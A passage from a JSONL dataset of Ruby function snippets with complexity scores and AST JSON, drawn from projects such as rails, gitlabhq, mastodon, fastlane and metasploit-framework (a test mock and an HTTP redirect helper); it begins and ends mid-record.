end","complexity_score":4.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"holidays_by_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"orthodox_easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Veliki Petak\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"orthodox_easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Velika Subota\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"orthodox_easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Uskrs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"orthodox_easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Vaskrsni ponedeljak\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nova Godina\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nova Godina\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Božić\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[27]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Dan Svetog Save\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Dan državnosti Srbije\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Dan državnosti Srbije\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Praznik rada\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Praznik rada\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Dan pobede\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[28]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Vidovdan\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[11]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Dan primirja\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rs_la\"]}]}]}]}]}]}]}]}","id":"3361b085-87a8-4b4d-b5db-8ef10762a3dc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/ui/text/dispatcher_shell_spec.rb","start_line":13,"raw_source":"def mock_dispatcher_for(completions:)\n    dispatcher = double :mock_dispatcher\n    allow(dispatcher).to receive(:tab_complete_helper) do |_current_word, _preceding_words|\n      completions\n    end\n    dispatcher\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mock_dispatcher_for\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"completions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dispatcher\",{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"sym\",\"children\":[\"mock_dispatcher\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"dispatcher\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"tab_complete_helper\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_current_word\"]},{\"type\":\"arg\",\"children\":[\"_preceding_words\"]}]},{\"type\":\"lvar\",\"children\":[\"completions\"]}]},{\"type\":\"lvar\",\"children\":[\"dispatcher\"]}]}]}","id":"692f2a78-d289-4e82-849f-8c83207e6114"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/serializers/api/slim_point_serializer.rb","start_line":8,"raw_source":"def call\n    {\n      id:        point.id,\n      latitude:  point.lat.to_s,\n      longitude: point.lon.to_s,\n      timestamp: point.timestamp\n    }\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"point\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latitude\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"point\"]},\"lat\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"longitude\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"point\"]},\"lon\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"point\"]},\"timestamp\"]}]}]}]}","id":"225d3ec8-8fe0-4c3c-af89-8e26cf270937"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/event_reporter.rb","start_line":537,"raw_source":"def context\n      context_store.context\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context_store\"]},\"context\"]}]}","id":"99e0a34b-d9fa-46f7-abd1-ab767bf9ba82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":150,"raw_source":"def groups_show_app_data(group)\n    {\n      subgroups_and_projects_endpoint: group_children_path(group, format: :json),\n      initial_sort: project_list_sort_by,\n      full_path: group.full_path,\n      new_subgroup_path: new_group_path(parent_id: group.id, anchor: 'create-group-pane'),\n      new_project_path: new_project_path(namespace_id: group.id),\n      can_create_subgroups: can?(current_user, :create_subgroup, group),\n      can_create_projects: can?(current_user, :create_projects, group),\n      empty_projects_illustration: image_path('illustrations/empty-state/empty-projects-md.svg')\n    }.to_json\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_show_app_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subgroups_and_projects_endpoint\"]},{\"type\":\"send\",\"children\":[null,\"group_children_path\",{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initial_sort\"]},{\"type\":\"send\",\"children\":[null,\"project_list_sort_by\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_subgroup_path\"]},{\"type\":\"send\",\"children\":[null,\"new_group_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"create-group-pane\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_project_path\"]},{\"type\":\"send\",\"children\":[null,\"new_project_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_create_subgroups\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_subgroup\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_create_projects\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_projects\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty_projects_illustration\"]},{\"type\":\"send\",\"children\":[null,\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/empty-state/empty-projects-md.svg\"]}]}]}]},\"to_json\"]}]}","id":"678df3b3-41d9-4d72-b12d-d9c7310b0a97"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":533,"raw_source":"def test_named_route_with_no_side_effects\n    draw do\n      resources :customers do\n        get \"profile\", on: :member\n      end\n    end\n\n    original_options = { host: \"test.host\" }\n    options = original_options.dup\n\n    profile_customer_url(\"customer_model\", options)\n\n    # verify that the options passed in have not changed from the original ones\n    assert_equal original_options, options\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_named_route_with_no_side_effects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"customers\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"profile\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"member\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"original_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"test.host\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_options\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[null,\"profile_customer_url\",{\"type\":\"str\",\"children\":[\"customer_model\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"original_options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"12e0b818-dd76-4679-8e2e-24cc89a22049"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/footnote/spec/system/rich_editor_extension_spec.rb","start_line":14,"raw_source":"def open_composer_and_toggle_rich_editor\n    page.visit \"/new-topic\"\n    expect(composer).to be_opened\n    composer.toggle_rich_editor\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_composer_and_toggle_rich_editor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"str\",\"children\":[\"/new-topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"composer\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_opened\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"composer\"]},\"toggle_rich_editor\"]}]}]}","id":"9e1e385f-f23d-4639-8840-0f1fa81f3f16"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/resolve_url_service.rb","start_line":81,"raw_source":"def json_data\n    @json_data ||= body_to_json(body)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"json_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@json_data\"]},{\"type\":\"send\",\"children\":[null,\"body_to_json\",{\"type\":\"send\",\"children\":[null,\"body\"]}]}]}]}","id":"da636d05-5cf8-4046-9d93-b9ce27cb8e14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/analytics/cycle_analytics/stage_aggregation.rb","start_line":30,"raw_source":"def set_cursor(model, cursor)\n        self[\"last_#{model.table_name}_id\"] = cursor[:id]\n        self[\"last_#{model.table_name}_updated_at\"] = cursor[:updated_at]\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_cursor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"cursor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"last_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cursor\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"last_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"_updated_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cursor\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"updated_at\"]}]}]}]}]}","id":"c8574f5c-e620-4e21-a0da-9310f6bc6137"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/store_credit_event.rb","start_line":45,"raw_source":"def captured?\n      action == Spree::StoreCredit::CAPTURE_ACTION\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"captured?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"StoreCredit\"]},\"CAPTURE_ACTION\"]}]}]}","id":"4dcefc4e-b9fa-479f-88de-9ea3befd9420"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/http.rb","start_line":84,"raw_source":"def get(url, referer = nil)\n      limit = redirect_limit\n      loc = url\n      begin\n          # if redirected to a relative url, merge it with the host of the original\n          # request url\n          loc = url.merge(loc) if loc.relative?\n\n          response, response_time = get_response(loc, referer)\n          code = Integer(response.code)\n          redirect_to = response.is_a?(Net::HTTPRedirection) ?  URI(response['location']).normalize : nil\n          yield response, code, loc, redirect_to, response_time\n          limit -= 1\n      end while (loc = redirect_to) && allowed?(redirect_to, url) && limit > 0\n    end","complexity_score":36.75,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"referer\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"send\",\"children\":[null,\"redirect_limit\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"while_post\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"lvar\",\"children\":[\"redirect_to\"]}]}]},{\"type\":\"send\",\"children\":[null,\"allowed?\",{\"type\":\"lvar\",\"children\":[\"redirect_to\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"relative?\"]},{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"loc\"]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\"]},{\"type\":\"lvasgn\",\"children\":[\"response_time\"]}]},{\"type\":\"send\",\"children\":[null,\"get_response\",{\"type\":\"lvar\",\"children\":[\"loc\"]},{\"type\":\"lvar\",\"children\":[\"referer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"redirect_to\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPRedirection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"location\"]}]}]},\"normalize\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"loc\"]},{\"type\":\"lvar\",\"children\":[\"redirect_to\"]},{\"type\":\"lvar\",\"children\":[\"response_time\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"limit\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"c121cf93-31bf-4c2c-92f2-7889b557e9b1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":601,"raw_source":"def test_deferrable_initially_deferred_foreign_key\n            @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\", deferrable: :deferred\n\n            foreign_keys = @connection.foreign_keys(\"astronauts\")\n            assert_equal 1, foreign_keys.size\n\n            fk = foreign_keys.first\n            assert_equal :deferred, fk.deferrable\n          end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deferrable_initially_deferred_foreign_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deferrable\"]},{\"type\":\"sym\",\"children\":[\"deferred\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foreign_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"foreign_keys\",{\"type\":\"str\",\"children\":[\"astronauts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"deferred\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"deferrable\"]}]}]}]}","id":"c4a75d77-8bfd-446a-9ead-31331c4fc60d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/deploygate.rb","start_line":40,"raw_source":"def self.run(options)\n        # Available options: https://deploygate.com/docs/api\n        UI.success('Starting with app upload to DeployGate... this could take some time ⏳')\n\n        api_token = options[:api_token]\n        user_name = options[:user]\n        binary = options[:ipa] || options[:apk]\n        upload_options = options.values.select do |key, _|\n          [:message, :distribution_key, :release_note, :disable_notify, :distribution_name].include?(key)\n        end\n\n        UI.user_error!('missing `ipa` and `apk`. deploygate action needs least one.') unless binary\n\n        return binary if Helper.test?\n\n        response = self.upload_build(api_token, user_name, binary, upload_options)\n        if parse_response(response)\n          UI.message(\"DeployGate URL: #{Actions.lane_context[SharedValues::DEPLOYGATE_URL]}\")\n          UI.success(\"Build successfully uploaded to DeployGate as revision \\##{Actions.lane_context[SharedValues::DEPLOYGATE_REVISION]}!\")\n        else\n          UI.user_error!(\"Error when trying to upload app to DeployGate\")\n        end\n      end","complexity_score":32.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Starting with app upload to DeployGate... this could take some time 